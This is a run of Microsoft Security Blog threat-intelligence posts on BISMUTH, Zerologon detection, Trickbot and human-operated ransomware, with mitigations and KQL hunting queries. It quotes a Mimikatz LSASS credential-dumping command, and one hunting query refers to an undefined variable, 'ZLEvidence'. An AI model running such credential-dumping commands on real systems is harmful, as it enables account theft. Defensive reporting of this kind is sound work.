• lsadump::lsa /inject—injects LSASS to retrieve credentials and request the LSA Server to grab credentials from the Security Account Manager (SAM) database and Active Directory (AD)

After running these commands, the co-opted DebugView tool connected to multiple attacker-controlled domains, likely to exfiltrate stolen credentials.

As the affected organizations worked to evict BISMUTH from their networks, Microsoft security researchers saw continued activity involving lateral movement to other devices, credential dumping, and planting of multiple persistence methods. This highlights the complexity of responding to a full-blown intrusion and the significance of taking quick action to resolve alerts that flag initial stages of an attack.

Building organizational resilience against attacks that blend in

BISMUTH attacks put strong emphasis on hiding in plain sight by blending in with normal network activity or common threats that attackers anticipate will get low-priority attention. The combination of social engineering and use of legitimate applications to sideload malicious DLLs entail multiple layers of protection focused on stopping threats at the earliest possible stage and mitigating the progression of attacks if they manage to slip through. Here are mitigation recommendations that organizations can implement to limit exposure:

Limit the attack surface that attackers can leverage for initial access:

• Educate end users about protecting personal and business information in social media, filtering unsolicited communication, identifying lures in spear-phishing email, and reporting of reconnaissance attempts and other suspicious activity.
• Configure Office 365 email filtering settings to ensure blocking of phishing & spoofed emails, spam, and emails with malware. Set Office 365 to recheck links on click and delete sent mail to benefit from newly acquired threat intelligence.
• Turn on attack surface reduction rules, including rules that can block advanced macro activity, executable content, process creation, and process injection initiated by Office applications.
• Disallow macros or allow only macros from trusted locations. See the latest security baselines for Office and Office 365.
• Check perimeter firewall and proxy to restrict servers from making arbitrary connections to the internet to browse or download files. Such restrictions help inhibit malware downloads and command-and-control activity.

Build credential hygiene to reduce risk during discovery stage:

• Enforce strong, randomized local administrator passwords. Use tools like LAPS.
• Practice the principle of least-privilege and maintain credential hygiene. Avoid the use of domain-wide, admin-level service accounts.
• Require multi-factor authentication through Windows Hello.

Stop attack sprawl and contain attacker movement:

• Turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
• Turn on tamper protection features to prevent attackers from stopping security services.
• Monitor for clearing of event logs. Windows generates security event ID 1102 when this occurs.
• Determine where highly privileged accounts are logging on and exposing credentials. Monitor and investigate logon events (event ID 4624) for logon type attributes. Highly privileged accounts should not be present on workstations.
• Utilize the Microsoft Defender Firewall, intrusion prevention devices, and your network firewall to prevent RPC and SMB communication among endpoints whenever possible. This limits lateral movement as well as other attack activities.

To better defend organizations against attacks that do everything to blend in once they gain access to a network, organizations can build defenses for preventing and blocking attacks at the initial access stage. Microsoft Defender for Office 365 provides defense capabilities that protect organizations from threats like credential phishing, business email compromise, and cyberattacks that begin with spear-phishing emails. Safe attachments and Safe links provide real-time protection using a combination of detonation, automated analysis, and machine learning, which are especially useful for highly targeted, specially crafted emails. Campaign views show the complete picture of email campaigns, including timelines, sending patterns, impact to the organization, and details like IP addresses, senders, URLs.

The broader Microsoft 365 Defender presents cross-domain threat intelligence and actionable information in consolidated incidents view, empowering security operations teams to comprehensively respond to attacks. For critical threats like BISMUTH campaigns, Microsoft researchers publish threat analytics reports that contain technical details, detection info, and mitigation status. Investigation tools like advanced hunting allow security teams to perform additional inspection of the environment for related or similar threats. Threat and vulnerability management data show mitigation recommendations, including enabling relevant attack surface reduction rules, that organizations can take to reduce risks.

These industry-leading capabilities in Microsoft 365 Defender are backed by Microsoft’s network of researchers and security experts who monitor the threat landscape and track threat actors like BISMUTH. Through Microsoft 365 Defender, we transform threat intelligence into protections and rich investigation tools that organizations can use to build organizational resilience. Learn how you can stop attacks through automated, cross-domain security and built-in AI with Microsoft Defender 365.

Microsoft 365 Defender Threat Intelligence Team

with Microsoft Threat Intelligence Center (MSTIC)

MITRE ATT&CK techniques observed

Initial access

• 001 Phishing: Spearphishing Attachment| Emails containing malicious Word documents with specific lure themes and subject lines for each target

Execution

• 002 System Services: Service Execution| Use of Service Control Manager (services.exe) to launch Sysinternals dbgview.exe
• 001 Command and Scripting Interpreter: PowerShell| Use of PowerShell to run cmdlets used for data exfiltration and lateral movement

Persistence

• T1053 Scheduled Task/Job| Scheduled task to execute payload every 60 minutes

Privilege escalation

• 002/003 Valid Accounts: Local and Domains Accounts| Credentials stolen for privilege escalation using Mimikatz

Defense evasion

• T1070 Indicator Removal on Host| Stopping of malicious tasks after data exfiltration or payload retrieval, deleting dropped malware from the disk, and clearing of PowerShell event logs
• 002 Hijack Execution Flow: DLL Sideloading| Using winword.exe, dbgview.exe, msmpeng.exe to load malicious DLLs

Credential access

• T1003Credential Dumping | Use of Mimikatz to dump credentials

Discovery

• T1033 System Owner/User Discovery, T1049 System Network Connections Discovery| Use of whoami, netstat, ipconfig
• T1016System Network Configuration Discovery | Use of modified nbtscan
• 002 Permission Groups Discovery: Domain Groups| Discovering domain groups with net users /domain

Collection

• 001 Data Staging: Local Data Staging| Storing harvested credentials and user/group information in a local CSV file

Data exfiltration

• T1041 Exfiltration Over C2 Channel| Data exfiltration to a C2 server established in the compromised network

Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft 365 Defender tech community.

Read all Microsoft security intelligence blog posts.

Follow us on Twitter @MsftSecIntel.

The post Threat actor leverages coin miner techniques to stay under the radar – here’s how to spot them appeared first on Microsoft Security Blog.

Here is a sneak peek into our detection lifecycle

Whenever a vulnerability or attack surface is disclosed, our research teams immediately investigate exploits and produce various methods for detecting attacks. This is highlighted in our response to suspected WannaCry attacks and with the alert for Suspected SMB (Server Message Block) packet manipulation (CVE-2020-0796 exploitation). These detection methods are tested in our lab environment, and experimental detectors are deployed to Microsoft Defender for Identity to assess performance and accuracy and find possible attacker activity.

Over the past two months since CVE-2020-1472 was first disclosed, interest in this detection rapidly increased. This happened even if we did not observe any activity matching exploitation of this vulnerability in the initial weeks after the August security updates. It generally takes a while before disclosed vulnerabilities are successfully reverse-engineered and corresponding mechanisms are built.

This lack of activity changed on September 13, when we triggered a surge in alerts. Simultaneously, this increase in activity was followed by the publication of several proof-of-concept tools and demo exploits that can leverage the vulnerability.

Figure 1: Orgs with ZeroLogon exploitation attempts by red teams and real attackers starting September 13, 2020

Microsoft Defender for Identity can detect this vulnerability early on. It covers both the aspects of exploitation and traffic inspection of the Netlogon channel.

Figure 2: Alert page experience

With this Microsoft Defender for Identity alert, you will be able to identify:

• The device that attempted the impersonation.
• The domain controller.
• The targeted asset.
• Whether the impersonation attempts were successful.

Finally, customers using Microsoft 365 Defender can take full advantage of the power of the signals and alerts from Microsoft Defender for Identity, combined with behavioral events and detections from Microsoft Defender for Endpoint. This coordinated protection enables you not just to observe Netlogon exploitation attempts over network protocols, but also to see device process and file activity associated with the exploitation.

A close look at some of the earliest ZeroLogon attacks

ZeroLogon is a powerful vulnerability for attackers to leverage, but in a normal attack scenario, it will require an initial entry vector inside an organization to facilitate exploitation against domain controllers. During initial monitoring of security signals, Microsoft Threat Experts observed ZeroLogon exploitation activity in multiple organizations. In many cases, it was clear that the activity was originated from red teams or pen testers using automated vulnerability scanners to locate vulnerable servers. However, Microsoft researchers were also able to identify a few limited cases of real attackers jumping on the ZeroLogon train to expand their perimeter into organizations that, after a month of a patch being available, were still running unpatched domain controllers.

Figure 3: Typical Zerologon exploitation activity generated by a vulnerability scanner or a red team testing domain controller at scale

One of the adversaries noticed by our analysts was interesting because the attacker leveraged an older vulnerability for SharePoint (CVE-2019-0604) to exploit remotely unpatched servers (typically Windows Server 2008 and Windows Server 2012) and then implant a web shell to gain persistent access and code execution. Following the web shell installation, this attacker quickly deployed a Cobalt Strike based payload and immediately started exploring the network perimeter and targeting domain controllers found with the ZeroLogon exploit.

Using the @MsftSecIntel Twitter handle, we publicly shared some file indicators used during the attack. We also shared the variations of the ZeroLogon exploits we detected, many of which were recompiled versions of well-known, publicly available proof-of-concept code. Microsoft Defender for Endpoint can also detect certain file-based versions of the CVE-2020-1472 exploit when executed on devices protected by Microsoft Defender for Endpoints.

Hunting for ZeroLogon in Microsoft 365 Defender

Combining signals from Microsoft Defender for Endpoint with the ZeroLogon alerts from Microsoft Defender for Identity can help assess the nature of the alert quickly. Microsoft 365 Defender automatically leverages signals from both products. It has logic that constantly attempts to combine alerts and events using a variety of correlation logic based on knowledge of cause-effect attack flows, the MITRE ATT&CK framework, and machine learning models.

In this section, we provide an example (in the simplified form of an advanced hunting query) of how Microsoft 365 Defender correlation logic operates behind-the-scenes to combine alerts, reducing Security Operations Centers (SOC) fatigue and facilitating investigation.

The following Microsoft 365 Defender advanced hunting queries identify process and network connection details from the source device suspected to have launched the NetLogon exploit.

First, we gather the relevant details on recent Netlogon exploit attempts from Microsoft Defender for Identity alerts. This will help populate the AlertId for the second query.

// Find all Netlogon exploit attempt alerts containing source devices
let queryWindow = 3d;
AlertInfo
| where Timestamp > ago(queryWindow)
| where ServiceSource == "Azure ATP"
| where Title == "Suspected Netlogon privilege elevation attempt (CVE-2020-1472 exploitation)"
| join (AlertEvidence
| where Timestamp > ago(queryWindow)
| where EntityType == "Machine"
| where EvidenceDirection == "Source"
| where isnotempty(DeviceId)
) on AlertId
| summarize by AlertId, DeviceId, Timestamp

Next, populate one AlertId from the prior query into NLAlertId in the next query to hunt for the likely process that launched the exploit and its network connection to the domain controller:

// Find potential endpoint Netlogon exploit evidence from AlertId
let NLAlertId = "insert alert ID here";
let lookAhead = 1m;
let lookBehind = 6m;
let NLEvidence = AlertEvidence
| where AlertId == NLAlertId
| where EntityType == "Machine"
| where EvidenceDirection == "Source"
| where isnotempty(DeviceId)
| summarize Timestamp=arg_min(Timestamp, *) by DeviceId;
let sourceMachine = NLEvidence | distinct DeviceId;
let alertTime = todatetime(toscalar(ZLEvidence | distinct Timestamp));
DeviceNetworkEvents
| where Timestamp between ((alertTime - lookBehind) .. (alertTime + lookAhead))
| where DeviceId in (sourceMachine)
| where RemotePort == 135 or RemotePort between (49670 .. 49680)
| summarize (Timestamp, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountSid)=arg_min(ReportId, Timestamp, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountSid), TargetDevicePorts=make_set(RemotePort) by DeviceId, DeviceName, RemoteIP, RemoteUrl
| project-rename SourceComputerName=DeviceName, SourceDeviceId=DeviceId, TargetDeviceIP=RemoteIP, TargetComputerName=RemoteUrl

This query can return a result that looks like this:

Tying Microsoft Defender for Endpoint data together with the original Microsoft Defender for Identity alert can give a clearer picture as to what happened on the device suspected of launching the exploit. This could save SOC analysts time when investigating alerts, because the relevant details are there to determine if it was caused by a curious researcher or from an actual attack.

Defend against ZeroLogon

Learn more about the alert here, along with information on all the alerts Defender for Identity uses to help you stay protected from identity-based attacks.

Also, feel free to review our guidance on managing changes in Netlogon secure channel connections and how you can prevent this vulnerability

Customers with Microsoft Defender for Endpoint can get additional guidance from the threat analytics article available in Microsoft Defender Security Center.

Get started today

Are you just starting your Microsoft Defender for Identity journey? Begin a trial of Microsoft 365 Defender to experience the benefits of the most comprehensive, integrated, and secure threat protection solution for your organization.

Join the Microsoft Defender for Identity Tech Community for the latest updates and news about Identity Security Posture Management assessments, detections, and other updates.

To learn more about Microsoft Security solutions visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post Zerologon is now detected by Microsoft Defender for Identity appeared first on Microsoft Security Blog.

Microsoft actively tracks the threat landscape, monitoring threat actors, their campaigns, specific tactics, and evolution of malware. We share this intelligence with the community and use our research to continuously improve our products. Below, we will detail the evolution of the Trickbot malware, associated tactics, recent campaigns, and dive into the anatomy of a particular attack we observed.

Trickbot was first spotted in 2016 as a banking trojan that was created as a successor to Dyre and designed to steal banking credentials. Over the years, Trickbot’s operators were able to build a massive botnet, and the malware evolved into a modular malware available for malware-as-a-service. The Trickbot infrastructure was made available to cybercriminals who used the botnet as an entry point for human-operated campaigns, including attacks that steal credentials, exfiltrate data, and deploy additional payloads, most notably Ryuk ransomware, in target networks.

Trickbot was typically delivered via email campaigns that used current events or financial lures to entice users to open malicious file attachments or click links to websites hosting the malicious files. Trickbot campaigns usually used Excel or Word documents with malicious macro codes, but other types of attachments have been used. The campaigns were observed in a wide range of verticals and geolocation, with operators frequently reusing previously compromised email accounts from earlier campaigns to distribute emails without narrowing targets.

In addition to phishing emails, Trickbot was also deployed through lateral movement via Server Message Block (SMB) or as a second-stage payload of other malware like Emotet. Once Trickbot was launched, operators utilized it to install reconnaissance tools like PowerShell Empire, Metasploit, and Cobalt Strike. They used these tools to steal credentials and network configuration information, move laterally to high-value assets, or deliver additional malicious payloads.

Threat data from Microsoft 365 Defender, which correlates signals from endpoints, email and data, identities, and cloud apps to deliver comprehensive protection against threats, shows that Trickbot showed up in both large and small enterprises across the globe, helped no doubt by its modular nature and widespread misconception of it being a “commodity” banking trojan.

Anatomy of a Trickbot campaign

Trickbot is one of the most prolific malware operations in the world, churning out multiple campaigns in any given period. In one specific campaign, the Trickbot operators used several disparate compromised email accounts to send out hundreds of malicious emails to both enterprise and consumer accounts. Recipients were from a variety of industry verticals and geolocations and do not appear to have been specifically targeted. This campaign used a shipping and logistics theme, and had the following subject lines:

• Shipment receipt
• Delivery finished
• Urgent receipt comment
• Essential receipt reminder
• Required declaration

The emails contained a malicious Excel attachment that, when opened, prompted the user to enable macros. If enabled, the macro wrote a malicious JScript Encoded (JSE) file to the disk, which is then executed via WScript. The JSE script connected to the affected organization’s domain controller and performed several LDAP queries to gather information about Active Directory, including the schema and user lists. The script then exfiltrated the information to attacker-controlled infrastructure. The script used the jscript.encode command to encode both server-side and client-side files in order to obfuscate content and evade detection.

Next, the JSE file performed several reconnaissance queries to obtain information about the device’s network adapter, antivirus products, domain role, and email. Once the exfiltration was completed, a dropped .bat file established a connection with two separate C2 servers: an IP address and a domain hosted on a separate IP address. Trickbot used both these C2 servers to evade network filtering configurations. The .bat file performed reconnaissance commands to find domain administrators on the network. It then dropped and launched the Greenshot screenshot tool and Cobalt Strike beacon on the device.

At this point, the operators had gained control of the affected device, only 8.5 hours after the user opened the malicious email attachment. The operators then started to copy the freeware tool ADFind.exe, which they used for discovery as well as for gathering domain configuration and organization information. They then archived data found during this discovery to a .7z file for later exfiltration.

The attackers ran several commands to obtain information about the domain controller and gather Kerberos tickets, conducted port scanning on SMB port 445, NetBIOS 139, and queried LDAP for multiple server devices. Using the information gathered, attackers pinged several potentially high-value devices. From there, they viewed the contents of specific text and log files, likely gleaned from their reconnaissance. Upon finding a device with an open port 445, they used runas /netonly (logon type 9, which is intentionally used to confuse analysis of logon events) for authentication and interactively executed commands on the device.

Once authenticated, the attackers viewed existing RDP files from prior unrelated sessions for RDP settings and credentials. From there, they dropped a Trickbot executable and stole credentials from the Windows Vault and Credentials Manager, allowing the attackers to evade many well-known security mechanisms that monitor processes accessing Local Security Authority Subsystem Service (LSASS) memory to dump the credentials. They used a .bat file to view multiple shares, ping additional servers, and read several text files. Finally, the attackers exfiltrated all gathered data.

The attackers persisted in the network via a copy of the malicious .jse file in the Startup folder. Using this .jse file, they have the capability to return to this network later and attempt to log on to other, more valuable devices and steal additional information or drop additional payloads. This highlights the importance of comprehensive response to “commodity malware” like Trickbot: the original banking trojan infection may be triaged and remediated, but without a full understanding of Trickbot as an entry vector to human adversaries, the real threat remains in the network.

Modular, multi-stage malware

Trickbot is a multi-stage malware typically composed of a wrapper, a loader, and a main malware module. The wrapper, which uses multiple templates that constantly change, is designed to evade detection by producing unique samples, even if the main malware code remains the same.

When the wrapper process runs, it runs the loader fully in its memory. The loader has a highly modular design. It decrypts each function at runtime before running it, and then encrypts it back. Likewise, all human-readable strings are decrypted and all APIs are resolved at runtime. In some scenarios, Trickbot uses UAC bypasses to elevate the privileges of its processes. On 64-bit systems, Trickbot uses the “Heaven’s Gate” technique to switch 32-bit code to 64-bit, and has an additional stage where a 64-bit loader injects the main module into the suspended process.

The loader runs the main malware module directly in memory. After creating scheduled tasks for persistence, the main malware module decrypts a configuration file, which contains the information it needs for its next steps:

• Establish HTTPS communication with command and control (C2) server
• Download modules from the C2 server
• Monitor the status of the downloaded modules
• Synchronize communication between the main module and the downloaded modules

The modules are likewise run in memory via injection into the suspended process. Over the years, Trickbot has used a wide range of modules for various malicious activities. These include the following:

Trickbot sends information like domain names and IP ranges of compromised networks back to operators, who then select some of these networks for additional exploitation and reconnaissance activities. On selected networks, Trickbot operators installed additional tools like Cobalt Strike, and switch to a hands-on-keyboard attacks. Once the operators gain foothold on a network, they used tools like Mimikatz and LaZagne to steal additional credentials and tools like BloodHound and ADFind to perform reconnaissance actions. Apart from using the stolen credentials and collected data to further the attack, operators also exfiltrated data. They then leave multiple persistence points on the network to enable the eventual delivery of other payloads like Ryuk ransomware.

While much has been made of the Trickbot’s supposed antivirus evasion capabilities, it’s a simple PowerShell command being run to turn off Microsoft Defender Antivirus, but it can perform this action only if the user has administrative rights.

Recent prominent Trickbot campaigns

In June 2020, we tracked multiple Trickbot campaigns. As is typical with Trickbot, some of the email campaigns took advantage of current events as lures to entice users to click on malicious attachments. These lures include Black Lives Matter and COVID-19. Earlier in the year, we reported that Trickbot was the most prolific malware operation using COVID-19-themed lures. Many other simultaneous campaigns used more generic lures, such as shipping and logistics, invoicing and payments, customer complaints, and various financial lures.

The email body was often simple but maintained consistency with the lure used in the subject line. The emails used a wide range of attachment types, including:

• Word macro attachments
• Excel VBA macro attachments
• Excel 4.0 macro attachments
• Java Network Launch Protocol (.jnlp) attachments

Some campaigns do away with the attachments and instead use malicious links to websites that host malicious files.

The sender infrastructure for all these emails varied as well. In most campaigns, operators used compromised legitimate email accounts and compromised marketing platforms to distribute the malicious emails. However, in one instance, the operators registered several domains using less popular top-level domains (TLDs) such as “.monster” and “.us” to create their own mail server and send malicious emails from attacker-defined email addresses. At least one of these campaigns used attacker-owned email sender infrastructure that was later used to deliver Dridex malware in a separate campaign. The Dridex malware is known to be associated with the CHIMBORAZO (also known as TA505) crime group. Additionally, CHIMBORAZO ran simultaneous campaigns that delivered Trickbot.

The following graphic illustrates the various campaigns, tactics, and techniques used by the operators. The complexity of these simultaneous campaigns and techniques indicates that this is a coordinated and professional effort conducted by a sophisticated activity group.

Extended detection and response for the full range of threats

The action against Trickbot is one of the ways in which Microsoft provide real-world protection against threats. This action will result in protection for a wide range of organizations, including financial services institutions, government, healthcare, and other verticals from malware and human-operated campaigns delivered via the Trickbot infrastructure.

In the recently released Microsoft Digital Defense Report, we called out that cybercriminals of all skill sets take advantage of the perception that commodity threats are less impactful to businesses. Trickbot is proof that this assumption is obsolete, and organizations need to treat and address Trickbot and other malware infections as the broadly damaging threats that they are.

To help protect customers from the full range of threats, from common malware to highly modular, multi-stage threats like Trickbot, as well as nation-state level attacks, Microsoft 365 Defender delivers coordinated protection for identities, endpoints, cloud apps, email and documents. Microsoft Defender for Office 365 detects malicious attachments and links in email campaigns. Microsoft Defender for Endpoint detects and blocks the Trickbot malware and all related components, as well as malicious activities on endpoints. Microsoft Defender for Identity identifies and detects suspicious user activities and compromised identities.

This breadth of cross-domain visibility allows Microsoft 365 Defender to correlate signals and comprehensively detect and resolve attack chains. Security operations teams can then use the rich set of tools in Microsoft 365 Defender to further hunt for threats and gain insights for hardening networks from compromise.

Microsoft 365 Defender Threat Intelligence Team

Microsoft 365 Defender Research Team

Digital Crimes Unit (DCU)

Detection and Response Team (DART)

Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft 365 Defender tech community.

Read all Microsoft security intelligence blog posts.

Follow us on Twitter @MsftSecIntel.

The post Trickbot disrupted appeared first on Microsoft Security Blog.

So far the attacks have affected aid organizations, medical billing companies, manufacturing, transport, government institutions, and educational software providers, showing that these ransomware groups give little regard to the critical services they impact, global crisis notwithstanding. These attacks, however, are not limited to critical services, so organizations should be vigilant for signs of compromise.

The ransomware deployments in this two-week period appear to cause a slight uptick in the volume of ransomware attacks. However, Microsoft security intelligence as well as forensic data from relevant incident response engagements by Microsoft Detection and Response Team (DART) showed that many of the compromises that enabled these attacks occurred earlier. Using an attack pattern typical of human-operated ransomware campaigns, attackers have compromised target networks for several months beginning earlier this year and have been waiting to monetize their attacks by deploying ransomware when they would see the most financial gain.

Many of these attacks started with the exploitation of vulnerable internet-facing network devices; others used brute force to compromise RDP servers. The attacks delivered a wide range of payloads, but they all used the same techniques observed in human-operated ransomware campaigns: credential theft and lateral movement, culminating in the deployment of a ransomware payload of the attacker’s choice. Because the ransomware infections are at the tail end of protracted attacks, defenders should focus on hunting for signs of adversaries performing credential theft and lateral movement activities to prevent the deployment of ransomware.

In this blog, we share our in-depth analysis of these ransomware campaigns. Below, we will cover:

• Vulnerable and unmonitored internet-facing systems provide easy access to human-operated attacks
• A motley crew of ransomware payloads
• Immediate response actions for active attacks
• Building security hygiene to defend networks against human-operated ransomware
• Microsoft Threat Protection: Coordinated defense against complex and wide-reaching human-operated ransomware

We have included additional technical details including hunting guidance and recommended prioritization for security operations (SecOps).

Vulnerable and unmonitored internet-facing systems provide easy access to human-operated attacks

While the recent attacks deployed various ransomware strains, many of the campaigns shared infrastructure with previous ransomware campaigns and used the same techniques commonly observed in human-operated ransomware attacks.

In stark contrast to attacks that deliver ransomware via email—which tend to unfold much faster, with ransomware deployed within an hour of initial entry—the attacks we saw in April are similar to the Doppelpaymer ransomware campaigns from 2019, where attackers gained access to affected networks months in advance. They then remained relatively dormant within environments until they identified an opportune time to deploy ransomware.

To gain access to target networks, the recent ransomware campaigns exploited internet-facing systems with the following weaknesses:

• Remote Desktop Protocol (RDP) or Virtual Desktop endpoints without multi-factor authentication (MFA)
• Older platforms that have reached end of support and are no longer getting security updates, such as Windows Server 2003 and Windows Server 2008, exacerbated by the use of weak passwords
• Misconfigured web servers, including IIS, electronic health record (EHR) software, backup servers, or systems management servers
• Citrix Application Delivery Controller (ADC) systems affected by CVE-2019-19781
• Pulse Secure VPN systems affected by CVE-2019-11510

Applying security patches for internet-facing systems is critical in preventing these attacks. It’s also important to note that, although Microsoft security researchers have not observed the recent attacks exploiting the following vulnerabilities, historical signals indicate that these campaigns may eventually exploit them to gain access, so they are worth reviewing: CVE-2019-0604, CVE-2020-0688, CVE-2020-10189.

Like many breaches, attackers employed credential theft, lateral movement capabilities using common tools, including Mimikatz and Cobalt Strike, network reconnaissance, and data exfiltration. In these specific campaigns, the operators gained access to highly privileged administrator credentials and were ready to take potentially more destructive action if disturbed. On networks where attackers deployed ransomware, they deliberately maintained their presence on some endpoints, intending to reinitiate malicious activity after ransom is paid or systems are rebuilt. In addition, while only a few of these groups gained notoriety for selling data, almost all of them were observed viewing and exfiltrating data during these attacks, even if they have not advertised or sold yet.

As with all human-operated ransomware campaigns, these recent attacks spread throughout an environment affecting email identities, endpoints, inboxes, applications, and more. Because it can be challenging even for experts to ensure complete removal of attackers from a fully compromised network, it’s critical that vulnerable internet-facing systems are proactively patched and mitigations put in place to reduce the risk from these kinds of attacks.

A motley crew of ransomware payloads

While individual campaigns and ransomware families exhibited distinct attributes as described in the sections below, these human-operated ransomware campaigns tended to be variations on a common attack pattern. They unfolded in similar ways and employed generally the same attack techniques. Ultimately, the specific ransomware payload at the end of each attack chain was almost solely a stylistic choice made by the attackers.

RobbinHood ransomware

RobbinHood ransomware operators gained some attention for exploiting vulnerable drivers late in their attack chain to turn off security software. However, like many other human-operated ransomware campaigns, they typically start with an RDP brute-force attack against an exposed asset. They eventually obtain privileged credentials, mostly local administrator accounts with shared or common passwords, and service accounts with domain admin privileges. RobbinHood operators, like Ryuk and other well-publicized ransomware groups, leave behind new local and Active Directory user accounts, so they can regain access after their malware and tools have been removed.

Vatet loader

Attackers often shift infrastructure, techniques, and tools to avoid notoriety that might attract law enforcement or security researchers. They often retain them while waiting for security organizations to start considering associated artifacts inactive, so they face less scrutiny. Vatet, a custom loader for the Cobalt Strike framework that has been seen in ransomware campaigns as early as November 2018, is one of the tools that has resurfaced in the recent campaigns.

The group behind this tool appears to be particularly intent on targeting hospitals, as well as aid organizations, insulin providers, medical device manufacturers, and other critical verticals. They are one of the most prolific ransomware operators during this time and have caused dozens of cases.

Using Vatet and Cobalt Strike, the group has delivered various ransomware payloads. More recently, they have been deploying in-memory ransomware that utilizes Alternate Data Streams (ADS) and displays simplistic ransom notes copied from older ransomware families. To access target networks, they exploit CVE-2019-19781, brute force RDP endpoints, and send email containing .lnk files that launch malicious PowerShell commands. Once inside a network, they steal credentials, including those stored in the Credential Manager vault, and move laterally until they gain domain admin privileges. The group has been observed exfiltrating data prior to deploying ransomware.

NetWalker ransomware

NetWalker campaign operators gained notoriety for targeting hospitals and healthcare providers with emails claiming to provide information about COVID-19. These emails also delivered NetWalker ransomware directly as a .vbs attachment, a technique that has gained media attention. However, the campaign operators also compromised networks using misconfigured IIS-based applications to launch Mimikatz and steal credentials, which they then used to launch PsExec, and eventually deploying the same NetWalker ransomware.

PonyFinal ransomware

This Java-based ransomware had been considered a novelty, but the campaigns deploying PonyFinal weren’t unusual. Campaign operators compromised internet-facing web systems and obtained privileged credentials. To establish persistence, they used PowerShell commands to launch the system tool mshta.exe and set up a reverse shell based on a common PowerShell attack framework. They also used legitimate tools, such as Splashtop, to maintain remote desktop connections.

Maze ransomware

One of the first ransomware campaigns to make headlines for selling stolen data, Maze continues to target technology providers and public services. Maze has a history of going after managed service providers (MSPs) to gain access to the data and networks of MSP customers.

Maze has been delivered via email, but campaign operators have also deployed Maze to networks after gaining access using common vectors, such as RDP brute force. Once inside a network, they perform credential theft, move laterally to access resources and exfiltrate data, and then deploy ransomware.

In a recent campaign, Microsoft security researchers tracked Maze operators establishing access through an internet-facing system by performing RDP brute force against the local administrator account. Using the brute-forced password, campaign operators were able to move laterally because built-in administrator accounts on other endpoints used the same passwords.

After gaining control over a domain admin account through credential theft, campaign operators used Cobalt Strike, PsExec, and a plethora of other tools to deploy various payloads and access data. They established fileless persistence using scheduled tasks and services that launched PowerShell-based remote shells. They also turned on Windows Remote Management for persistent control using stolen domain admin privileges. To weaken security controls in preparation for ransomware deployment, they manipulated various settings through Group Policy.

REvil ransomware

Possibly the first ransomware group to take advantage of the network device vulnerabilities in Pulse VPN to steal credentials to access networks, REvil (also called Sodinokibi) gained notoriety for accessing MSPs and accessing the networks and documents of customers – and selling access to both. They kept up this activity during the COVID-19 crisis, targeting MSPs and other targets like local governments. REvil attacks are differentiated in their uptake of new vulnerabilities, but their techniques overlap with many other groups, relying on credential theft tools like Mimikatz once in the network and performing lateral movement and reconnaissance with tools like PsExec.

Other ransomware families

Other ransomware families used in human-operated campaigns during this period include:

• Paradise, which used to be distributed directly via email but is now used in human-operated ransomware attacks
• RagnarLocker, which is deployed by a group that heavily uses RDP and Cobalt Strike with stolen credentials
• MedusaLocker, which is possibly deployed via existing Trickbot infections
• LockBit, which is distributed by operators that use the publicly available penetration testing tool CrackMapExec to move laterally

Immediate response actions for active attacks

We highly recommend that organizations immediately check if they have any alerts related to these ransomware attacks and prioritize investigation and remediation. Malicious behaviors relevant to these attacks that defenders should pay attention to include:

• Malicious PowerShell, Cobalt Strike, and other penetration-testing tools that can allow attacks to blend in as benign red team activities
• Credential theft activities, such as suspicious access to Local Security Authority Subsystem Service (LSASS) or suspicious registry modifications, which can indicate new attacker payloads and tools for stealing credentials
• Any tampering with a security event log, forensic artifact such as the USNJournal, or a security agent, which attackers do to evade detections and to erase chances of recovering data

Customers using Microsoft Defender Advanced Threat Protection (ATP) can consult a companion threat analytics report for more details on relevant alerts, as well as advanced hunting queries. Customers subscribed to the Microsoft Threat Experts service can also refer to the targeted attack notification, which has detailed timelines of attacks, recommended mitigation steps for disrupting attacks, and remediation advice.

If your network is affected, perform the following scoping and investigation activities immediately to understand the impact of this breach. Using indicators of compromise (IOCs) alone to determine impact from these threats is not a durable solution, as most of these ransomware campaigns employ “one-time use” infrastructure for campaigns, and often change their tools and systems once they determine the detection capabilities of their targets. Detections and mitigations should concentrate on holistic behavioral based hunting where possible, and hardening infrastructure weaknesses favored by these attackers as soon as possible.

Investigate affected endpoints and credentials

Investigate endpoints affected by these attacks and identify all the credentials present on those endpoints. Assume that these credentials were available to attackers and that all associated accounts are compromised. Note that attackers can not only dump credentials for accounts that have logged on to interactive or RDP sessions, but can also dump cached credentials and passwords for service accounts and scheduled tasks that are stored in the LSA Secrets section of the registry.

• For endpoints onboarded to Microsoft Defender ATP, use advanced hunting to identify accounts that have logged on to affected endpoints. The threat analytics report contains a hunting query for this purpose.
• Otherwise, check the Windows Event Log for post-compromise logons—those that occur after or during the earliest suspected breach activity—with event ID 4624 and logon type 2 or 10. For any other timeframe, check for logon type 4 or 5.

Isolate compromised endpoints

Isolate endpoints that have command-and-control beacons or have been lateral movement targets. Locate these endpoints using advanced hunting queries or other methods of directly searching for related IOCs. Isolate machines using Microsoft Defender ATP, or use other data sources, such as NetFlow, and search through your SIEM or other centralized event management solutions. Look for lateral movement from known affected endpoints.

Address internet-facing weaknesses

Identify perimeter systems that attackers might have utilized to access your network. You can use a public scanning interface, such as shodan.io, to augment your own data. Systems that should be considered of interest to attackers include:

• RDP or Virtual Desktop endpoints without MFA
• Citrix ADC systems affected by CVE-2019-19781
• Pulse Secure VPN systems affected by CVE-2019-11510
• Microsoft SharePoint servers affected by CVE-2019-0604
• Microsoft Exchange servers affected by CVE-2020-0688
• Zoho ManageEngine systems affected by CVE-2020-10189

To further reduce organizational exposure, Microsoft Defender ATP customers can use the Threat and Vulnerability Management (TVM) capability to discover, prioritize, and remediate vulnerabilities and misconfigurations. TVM allows security administrators and IT administrators to collaborate seamlessly to remediate issues.

Inspect and rebuild devices with related malware infections

Many ransomware operators enter target networks through existing infections of malware like Emotet and Trickbot. These malware families, traditionally considered to be banking trojans, have been used to deliver all kinds of payloads, including persistent implants. Investigate and remediate any known infections and consider them possible vectors for sophisticated human adversaries. Ensure that you check for exposed credentials, additional payloads, and lateral movement prior to rebuilding affected endpoints or resetting passwords.

